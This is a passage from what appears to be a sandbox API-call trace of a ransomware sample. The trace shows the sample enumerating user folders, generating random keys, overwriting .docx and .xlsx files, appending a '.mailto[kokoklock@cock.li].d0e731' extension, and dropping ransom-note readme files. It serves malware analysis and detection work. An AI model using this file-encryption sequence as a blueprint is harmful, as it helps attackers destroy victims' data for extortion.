lpNumberOfBytesWritten=0x1193f970*=0x20, lpOverlapped=0x0) returned 1 [0069.217] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1193f970, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1193f970*=0x4, lpOverlapped=0x0) returned 1 [0069.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0069.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bfc8) returned 1 [0069.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c108) returned 1 [0069.217] CloseHandle (hObject=0x768) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2b10 [0069.219] wcscpy (in: _Dest=0x33e2b10, _Source="C:\\Users\\FD1HVy\\Favorites\\Bing.url" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Bing.url") returned="C:\\Users\\FD1HVy\\Favorites\\Bing.url" [0069.219] wcscat (in: _Dest=0x33e2b10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731" [0069.219] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), lpNewFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.219] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.220] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2b10) returned 1 [0069.220] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url", dwFileAttributes=0x20) returned 0 [0069.220] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.220] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Favorites\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\" [0069.220] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Favorites\\D0E731-Readme.txt" [0069.220] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\favorites\\d0e731-readme.txt")) returned 0xffffffff [0069.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\favorites\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.222] WriteFile (in: hFile=0x768, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1193f96c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1193f96c*=0x481, lpOverlapped=0x0) returned 1 [0069.223] CloseHandle (hObject=0x768) returned 1 [0069.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e778) returned 1 [0069.223] RtlExitUserThread (Status=0x1) Thread: id = 408 os_tid = 0x1028 [0069.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x3480fd8 [0069.224] wcscpy (in: _Dest=0x3480fd8, _Source="C:\\Users\\FD1HVy\\Favorites\\Links" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Links") returned="C:\\Users\\FD1HVy\\Favorites\\Links" [0069.224] wcscat (in: _Dest=0x3480fd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Links\\") returned="C:\\Users\\FD1HVy\\Favorites\\Links\\" [0069.224] wcscat (in: _Dest=0x3480fd8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Links\\*") returned="C:\\Users\\FD1HVy\\Favorites\\Links\\*" [0069.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429c68 [0069.224] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\*", lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ce8 [0069.225] wcscmp (_String1=".", _String2=".") returned 0 [0069.225] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.225] wcscmp (_String1="..", _String2=".") returned 1 [0069.225] wcscmp (_String1="..", _String2="..") returned 0 [0069.225] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0069.225] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0069.225] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0069.225] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x3429c68 | out: lpFindFileData=0x3429c68*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0069.225] FindClose (in: hFindFile=0x3433ce8 | out: hFindFile=0x3433ce8) returned 1 [0069.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429c68) returned 1 [0069.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480fd8) returned 1 [0069.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0069.225] RtlExitUserThread (Status=0x0) Thread: id = 409 os_tid = 0x102c [0069.245] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx")) returned 0x20 [0069.246] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx", dwFileAttributes=0x20) returned 1 [0069.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.246] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x11a3ff28 | out: lpFileSize=0x11a3ff28*=9686) returned 1 [0069.246] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x25d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.246] ReadFile (in: hFile=0x768, lpBuffer=0x11a3fefc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11a3fef8, lpOverlapped=0x0 | out: lpBuffer=0x11a3fefc*, lpNumberOfBytesRead=0x11a3fef8*=0x4, lpOverlapped=0x0) returned 1 [0069.247] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c068 [0069.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bff0 [0069.247] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c248 [0069.247] NtQuerySystemTime (in: CurrentTime=0x11a3fed4 | out: CurrentTime=0x11a3fed4*=132121176271347905) returned 0x0 [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x7173d8 [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x319782e [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x5d05eb4 [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x1be49137 [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x7913f65f [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x689fd82f [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x41eaa07d [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x4a3409b4 [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xd2ca5f19 [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x1abde749 [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xa2265ecf [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xc87f7daa [0069.247] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xaeffef20 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x30ba62 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xb351443 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xa86df67a [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x8a3abc81 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xfa16edd [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x418a2404 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xfdc6041c [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x31c82463 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x8d03004c [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x586d1488 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x4e72ce91 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xb9904cbe [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x795e447a [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x7474f6eb [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x1a9a1c17 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0xd2c4b382 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x9e632b78 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x7372fea7 [0069.248] RtlRandom (in: Seed=0x11a3fee0 | out: Seed=0x11a3fee0) returned 0x8645abce [0069.259] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x25d6, lpNumberOfBytesRead=0x11a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11a3fed4*=0x25d6, lpOverlapped=0x0) returned 1 [0069.260] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x11a3fe9c | out: lpNewFilePointer=0x0) returned 1 [0069.260] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x25d6, lpNumberOfBytesWritten=0x11a3fed0, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11a3fed0*=0x25d6, lpOverlapped=0x0) returned 1 [0069.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c090 [0069.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c270 [0069.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c270) returned 1 [0069.260] WriteFile (in: hFile=0x768, lpBuffer=0x342c090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11a3fecc, lpOverlapped=0x0 | out: lpBuffer=0x342c090*, lpNumberOfBytesWritten=0x11a3fecc*=0x20, lpOverlapped=0x0) returned 1 [0069.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c090) returned 1 [0069.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.260] WriteFile (in: hFile=0x768, lpBuffer=0x342bfc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11a3fef8, lpOverlapped=0x0 | out: lpBuffer=0x342bfc8*, lpNumberOfBytesWritten=0x11a3fef8*=0x8, lpOverlapped=0x0) returned 1 [0069.260] WriteFile (in: hFile=0x768, lpBuffer=0x11a3ff10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11a3fef8, lpOverlapped=0x0 | out: lpBuffer=0x11a3ff10*, lpNumberOfBytesWritten=0x11a3fef8*=0x4, lpOverlapped=0x0) returned 1 [0069.261] WriteFile (in: hFile=0x768, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11a3fef8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11a3fef8*=0x4, lpOverlapped=0x0) returned 1 [0069.261] WriteFile (in: hFile=0x768, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11a3fef8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11a3fef8*=0x6c, lpOverlapped=0x0) returned 1 [0069.261] WriteFile (in: hFile=0x768, lpBuffer=0x342bff0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11a3fef8, lpOverlapped=0x0 | out: lpBuffer=0x342bff0*, lpNumberOfBytesWritten=0x11a3fef8*=0x20, lpOverlapped=0x0) returned 1 [0069.261] WriteFile (in: hFile=0x768, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11a3fef8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11a3fef8*=0x4, lpOverlapped=0x0) returned 1 [0069.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bff0) returned 1 [0069.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bfc8) returned 1 [0069.261] CloseHandle (hObject=0x768) returned 1 [0069.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ce9d8 [0069.262] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx") returned="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx" [0069.262] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" [0069.262] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\3qrm1-sx4frmskjxkoo.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.263] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0069.263] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx", dwFileAttributes=0x20) returned 0 [0069.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.263] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.263] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.263] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0xffffffff [0069.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.264] WriteFile (in: hFile=0x768, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x11a3fef4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x11a3fef4*=0x481, lpOverlapped=0x0) returned 1 [0069.265] CloseHandle (hObject=0x768) returned 1 [0069.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347da80) returned 1 [0069.266] RtlExitUserThread (Status=0x1) Thread: id = 410 os_tid = 0x1030 [0069.267] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx")) returned 0x20 [0069.267] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx", dwFileAttributes=0x20) returned 1 [0069.267] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\90pgs.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0069.268] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x11abfccc | out: lpFileSize=0x11abfccc*=28100) returned 1 [0069.268] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x6dc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.268] ReadFile (in: hFile=0x768, lpBuffer=0x11abfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11abfc9c, lpOverlapped=0x0 | out: lpBuffer=0x11abfca0*, lpNumberOfBytesRead=0x11abfc9c*=0x4, lpOverlapped=0x0) returned 1 [0069.268] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c068 [0069.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bff0 [0069.268] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c270 [0069.269] NtQuerySystemTime (in: CurrentTime=0x11abfc78 | out: CurrentTime=0x11abfc78*=132121176271660565) returned 0x0 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xf8dce686 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xc6130926 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x1cc7f84a [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xcfd36c00 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x878e926c [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x4a29ffcc [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xa34cf545 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xf278fc6 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xb7ca0288 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x73d252ca [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x30d2f16d [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xc89d927b [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x987ce6a4 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xd1dd4496 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xef75eba [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xbbaf7b97 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xc5a832c8 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x49cfa6af [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x4173cc24 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x35758dc5 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xf5392a76 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x3cef28b7 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xa0babad5 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x9fbe939d [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x626aa0ec [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x8a4dc361 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0x4d974c81 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xbd6f8562 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xefb719fe [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xaa284687 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xfa7c6bc5 [0069.269] RtlRandom (in: Seed=0x11abfc84 | out: Seed=0x11abfc84) returned 0xf73b76b3 [0069.280] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.280] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11abfc50, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11abfc50*=0x4096, lpOverlapped=0x0) returned 1 [0069.291] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1d0 [0069.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c090 [0069.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c018 [0069.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c018) returned 1 [0069.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.292] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11abfc50, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11abfc50*=0x4096, lpOverlapped=0x0) returned 1 [0069.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.292] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x6dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.292] WriteFile (in: hFile=0x768, lpBuffer=0x342c090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11abfc88, lpOverlapped=0x0 | out: lpBuffer=0x342c090*, lpNumberOfBytesWritten=0x11abfc88*=0x20, lpOverlapped=0x0) returned 1 [0069.292] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c090) returned 1 [0069.292] RtlFreeHeap 